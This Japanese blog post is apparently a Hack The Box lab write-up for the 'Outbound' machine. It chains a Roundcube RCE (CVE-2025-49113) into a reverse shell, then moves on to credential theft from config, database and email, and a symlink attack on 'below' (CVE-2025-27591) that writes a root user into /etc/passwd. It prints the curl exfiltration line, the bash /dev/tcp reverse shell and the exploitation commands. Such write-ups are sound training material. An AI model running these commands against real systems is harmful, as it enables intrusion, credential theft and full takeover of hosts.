2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Outbound

Last updated at Posted at 2025-11-26

image.png

はじめに

この記事は、Hack The Boxの「Outbound」を攻略した際の手順をまとめたものです。

ポートスキャニング (Nmap)

まず、nmap を使用してポートスキャンを実行し、開いているポートとサービスを特定します。

  • ターゲット: outbound.htb (10.10.11.77)
  • OS: Linux
  • 開放ポート:
    • 22/tcp: OpenSSH 9.6p1
    • 80/tcp: nginx 1.24.0 (リダイレクト先: http://mail.outbound.htb/)

mail.outbound.htb/etc/hostsに登録しておきます。


ブラウザでの調査

mail.outbound.htb にアクセスします。
Roundcube Webmailのログイン画面が表示されました。
image.png

今回はマシーンのページでユーザ名・パスワードが提供されています。
image.png

認証情報:
tyler:LhKL1o9Nm3X2

脆弱性の特定と悪用

ログイン後、Aboutの記載からバージョンがRoundcube 1.6.10と判明しました。
image.png

  • このバージョンには、認証後にリモートでコードを実行できる脆弱性 CVE-2025-49113 が存在します。

  • この脆弱に関するPOCがgithubで公開されているのでこちらを利用してリバースシェルを狙います。


リバースシェル

エクスプロイトコードのテスト

githubから取得したコードをREADMEの記載に従って試してみます。

レシーバーの起動

$ nc -lnvp 4444

別ターミナルを開き、idコマンドを実行するように指定してコードを実行します。

$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "curl http://10.10.16.42:4444/$(id | base64 -w0)"

最初のターミナルで結果確認

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.42] from (UNKNOWN) [10.10.11.77] 47212
GET /dWlkPTEwMDAodXRhaCkgZ2lkPTEwMDAodXRhaCkgZ3JvdXBzPTEwMDAodXRhaCksNChhZG0pLDI0KGNkcm9tKSwyNyhzdWRvKSwzMChkaXApLDQ2KHBsdWdkZXYpLDEwMCh1c2VycyksOTg4KGRvY2tlcikK HTTP/1.1
Host: 10.10.16.42:4444
User-Agent: curl/8.5.0
Accept: */*

結果をデコード
idコマンドの結果が表示しました。

$ echo "dWlkPTEwMDAodXRhaCkgZ2lkPTEwMDAodXRhaCkgZ3JvdXBzPTEwMDAodXRhaCksNChhZ
G0pLDI0KGNkcm9tKSwyNyhzdWRvKSwzMChkaXApLDQ2KHBsdWdkZXYpLDEwMCh1c2VycyksOTg4KGRv
Y2tlcikK" | base64 -d
uid=1000(utah) gid=1000(utah) groups=1000(utah),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),988(docker)

リバースシェル取得

コードの実行

php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.16.42/4444 0>&1'"

成功

www-data@mail:/var/www/html/roundcube/public_html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHPスクリプトを使用してリバースシェルを確立し、www-data ユーザーとしてサーバーにアクセスしました。

リバースシェルの安定化

下記コマンドにて、pythonでシェルを安定化しようとするとpython3が存在せずエラーになりました。

python3 -c 'import pty;pty.spawn("/bin/bash")' 

初挑戦の時は、このまま不完全なシェルのまま続行したのですが、公式Walkthrough動画scriptコマンドを使ってシェルを安定化させる方法を紹介していました。
scriptコマンドは端末セッションをログに記録するコマンドで、実行すると擬似TTYが割り当てられ完全な対話的シェルになるそうです。

$ script -q /dev/null
$ bash
$ ^Z
$ stty raw -echo;fg
$ TERM=xterm-256color

ユーザー権限昇格 (www-data -> jacob)

データベースからの情報収集

侵入後、Roundcubeの設定ファイル /var/www/html/roundcube/config/config.inc.php を確認します。

<SNIP>
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
<SNIP>
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
<SNIP>

このファイルには、データベースの認証情報とIMAPパスワードを暗号化するためのDESキーが含まれていました。

  • DB認証情報: roundcube:RCDBPass2025
  • DESキー: rcmail-!24ByteDESkey*Str

情報を使ってデータベースに接続し、session テーブルを調査しました。

-- jacobユーザーのセッション情報を取得
MariaDB [roundcube]> select * from session\G
*************************** 1. row ***************************
sess_id: 6a5ktqih5uca6lj8vrmgh9v0oh
changed: 2025-06-08 15:46:40
     ip: 172.17.0.1
   vars: bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7
1 row in set (0.000 sec)

セッションデータをBase64デコードします

$ echo bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 | base64 -d

シリアライズされたphpオブジェクトが表示されます。
その中から、暗号化されたパスワードL7Rv00A8TuwJAr67kITxxcSgnIk25Am/が取得できます。

IMAPパスワードの復号

パスワードはRoundcubeの復号用のシェルスクリプト /var/www/html/roundcube/bin/decrypt.sh を利用して複合できます。

www-data@mail:/var/www/html/roundcube/public_html$ /var/www/html/roundcube/bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD

IMAPパスワード:595mO8DmwGeD

IMAP経由でのSSH認証情報窃取

IMAPポート確認
143993が使われています。

$ ss -lntu
ss -lntu
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:110       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:143       0.0.0.0:*          
tcp   LISTEN 0      100        127.0.0.1:25        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:993       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:995       0.0.0.0:*          
tcp   LISTEN 0      100             [::]:110          [::]:*          
tcp   LISTEN 0      100             [::]:143          [::]:*          
tcp   LISTEN 0      100            [::1]:25           [::]:*          
tcp   LISTEN 0      100             [::]:993          [::]:*          
tcp   LISTEN 0      100             [::]:995          [::]:*  

993ポートからopensslを使って、jacob ユーザーとしてIMAPサーバーに接続しメールを閲覧しました。

# opensslでIMAPサーバーに接続
openssl s_client -connect localhost:993 -crlf

# ログインとメールの閲覧
a1 LOGIN jacob 595mO8DmwGeD
<SNIP>
a2 SELECT INBOX
a3 FETCH 1 BODY[]

メールボックスには2通のメールがあり、1つめのメールの中にjacob ユーザーの新しいSSHパスワードが記載されていました。

Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
        id B32C410248D; Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler
)
  • SSH認証情報: jacob:gY4Wr3a1evp4

2通目のメールはサーバ監視アプリBelowの権限を与えたと書いてあり、のちほど権限昇格に使えるかもしれません。

Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002)
        id 1487E22C; Sun,  8 Jun 2025 12:09:45 +0000 (UTC)
To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun,  8 Jun 2025 12:09:45 +0000 (UTC)
From: mel@outbound.htb

We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.

Thanks!

Mel
)

認証情報を使ってjacobとしてSSHログインに成功しました。

jacob@outbound:~$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)

ホームディレクトリにuser.txtが存在します。

root権限昇格 (jacob -> root)

sudo権限確認

SSHでログイン後、sudo -l を実行すると、メールの記載通りjacob ユーザーがパスワードなしで below コマンドをroot権限で実行できることがわかりました。

Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jacob may run the following commands on outbound:
    (root) NOPASSWD: /usr/bin/below

CVE-2025-27591の悪用

  • below には、ログファイル処理に関する脆弱性 CVE-2025-27591 が存在します。

  • 解説記事によると、v0.9.0より前のバージョンのbelowでは、起動時に、/var/log/below/error_root.logのアクセス権限を666(rw-rw-rw)に変更します。

  • この動作を悪用して/etc/passwdなどの任意のファイルを/var/log/below/error_root.logのシンボリックリンクにすることで書き込みが可能になります。

  • 脆弱性を利用するPOCが公開されています。

手動でのエクスプロイト手順

コードの内容に沿って手動でエクスプロイトを実行します。
※3,4の手順を素早く操作しないと/etc/passwdが書き戻されて権限昇格に失敗します。

  1. シンボリックリンクの作成:
    below が書き込むエラーログファイル /var/log/below/error_root.log を削除し、/etc/passwd へのシンボリックリンクとして再作成します。

    rm /var/log/below/error_root.log
    ln -s /etc/passwd /var/log/below/error_root.log
    
  2. below の実行:
    sudo below record を実行します。これにより、シンボリックリンクを介して /etc/passwd への書き込み準備が整います。

    sudo below record
    
  3. /etc/passwd の改ざん:
    新しいrootユーザー(例: attacker)のエントリをログファイルに追記します。これにより、シンボリックリンクを介して /etc/passwd に書き込まれます。

    echo "attacker::0:0:attacker:/root:/bin/bash" >> /var/log/below/error_root.log
    
  4. rootシェルの取得:
    新しく作成した attacker ユーザーに切り替えることで、root権限のシェルを取得します。

    su attacker
    # id
    uid=0(root) gid=0(root) groups=0(root)
    

以上で、完全攻略となります。お疲れさまでした!

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?